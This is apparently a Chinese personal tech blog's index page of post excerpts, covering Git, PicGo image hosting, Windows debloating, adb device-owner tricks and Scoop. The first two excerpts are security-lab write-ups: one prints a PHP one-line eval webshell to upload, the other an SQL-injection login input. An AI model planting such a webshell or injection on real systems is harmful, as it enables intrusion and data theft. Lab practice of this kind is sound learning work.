文件上传

low 级别

将 php 一句话木马, 保存为 php 文件上传

<?php @eval($_POST['attack']) ?>

file-upload-low1

阅读全文 »

暴力破解

low 级别

Source

SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';

Username 输入 admin' or '1' = '1 进行 sql 注入

SELECT * FROM `users` WHERE user = 'admin or '1' AND password = '';
阅读全文 »

虽然目前网络上免费图床有不少, 但图片保存到 Github 绝对是最不容易丢失的,
加上 jsDelivr 的免费 cdn (目前延迟非常低, 自测联通宽带的延迟在 30ms 左右),
配合 PicGo 桌面软件可以很方便的上传和获取外链地址, 是个很不错的选择

配置

具体配置参考官方文档

简单就是以下几步:

  • 在 github 新建仓库
  • settings –> developer settings –> personal access tokens 生成 token
  • 在 PicGo 中 Github 图床选项中配置仓库, 分支, token, 存储路径, 自定义域名即可
    • 2020 年 10 月 1 日, github 官方将默认的 master 分支替换为 main 官方说明
    • 自定义域名格式如下
    • https://cdn.jsdelivr.net/gh/USERNAME/REPO_NAME@BRANCH_NAME/DIR_NAME/FILE_NAME
阅读全文 »

Git 简介

Git 是一款开源的分布式的版本控制系统,由 Linux 之父 Linus Torvalds 开发,最初的目的是为了便于维护 Linux 内核,如今已成为最流行的版本控制系统。

官网:https://git-scm.com/

阅读全文 »

简介

MSMG Toolkit 是基于命令行的 Windows 系统精简工具, 可以对 Windows 镜像进行深度精简, 彻底删除不需要的软件和功能(包括微软的同步服务, 照片查看器和视频播放器等), 可以自定义 list 批量删除内置软件, 虽然没有华丽的 GUI, 但绝对称得上是神器, 免费使用, 个人感觉比 NTLite(免费许可) 好用

官网: https://msmgtoolkit.in/

下载地址: https://msmgtoolkit.in/download.html

  • 官方下载地址是 MEGA 网盘, 部分地区需要科学上网
  • 蓝奏云下载 不定期更新
阅读全文 »

有个朋友用 vivo Y93s, 想要 QQ 微信防撤回, 所以给他推荐了太极, 后来由于 vivo 安装非应用商店软件每次都要输密码, 手机也 root 不了, 只能想别的办法搞掉应用商店了, 这时我想到了太极的阴阳门 …

  1. 首先进入手机 [设置 - 帐户], 删除所有的帐户
  2. adb shell pm list users 查看用户列表, 确定是否有除了机主以外其他用户
  3. adb shell pm remove-user USER 删除除了机主外的其他用户, 没有其他用户无需操作
  4. adb shell dpm set-device-owner me.weishu.exp/.DeviceAdmin 设置太极为管理员用户, 出现 success 即为成功
  5. 进入 [太极-阴阳门] 冻结自带应用商店, 如果不使用 vivo 账号可以一起冻结, 之后安装非应用商店软件就不需要 vivo 账号了
  6. 安装酷安, 替代官方应用商店 (其他应用商店也行, 个人比较喜欢酷安)

总结: OV 手机真不适合想折腾的人… , 尤其是像我这种 “无 root, 不 android” 的人

http://qun.qzone.qq.com/

群空间,这是一个鲜为人知的网站,该网站最重要的一个作用就是可以获取到群文件的下载直链,配合 IDM 或 XDown 等多线程下载工具会有很理想的下载速度,下载比较大的群文件是个不错的选择。

阅读全文 »

视口

  • 视觉视口 (visual viewport)

    • 视觉视口默认等于当前浏览器的窗口大小
    • 通过 window.innerWidth 或者 window.visualViewport.width 获取大小
  • 布局视口 (layout viewport)

    • 布局视口是网页布局的基准, 大部分为移动设备布局视口默认值为 980px
    • 布局视口通过 document.documentElement.clientWidth 获取大小
  • 理想视口 (ideal viewport)

    • 理想视口是页面在移动端展示的理想大小, 及布局视口和设备宽度一样
    • 通过 window.screen.width 获取大小
阅读全文 »

Scoop 是一款强大的 Windows 包管理工具,可以通过命令行便捷快速的安装软件,类似于 Linux 下的 yum,apt,pacman 等工具。

安装配置

添加环境变量(自定义安装路径,可选)

# 用户环境变量
$env:SCOOP='D:\ScoopApp'
[environment]::setEnvironmentVariable('SCOOP',$env:SCOOP,'User')
# 全局环境变量
$env:SCOOP_GLOBAL='D:\GlobalScoopApps'
[Environment]::SetEnvironmentVariable('SCOOP_GLOBAL', $env:SCOOP_GLOBAL, 'Machine')
阅读全文 »
0%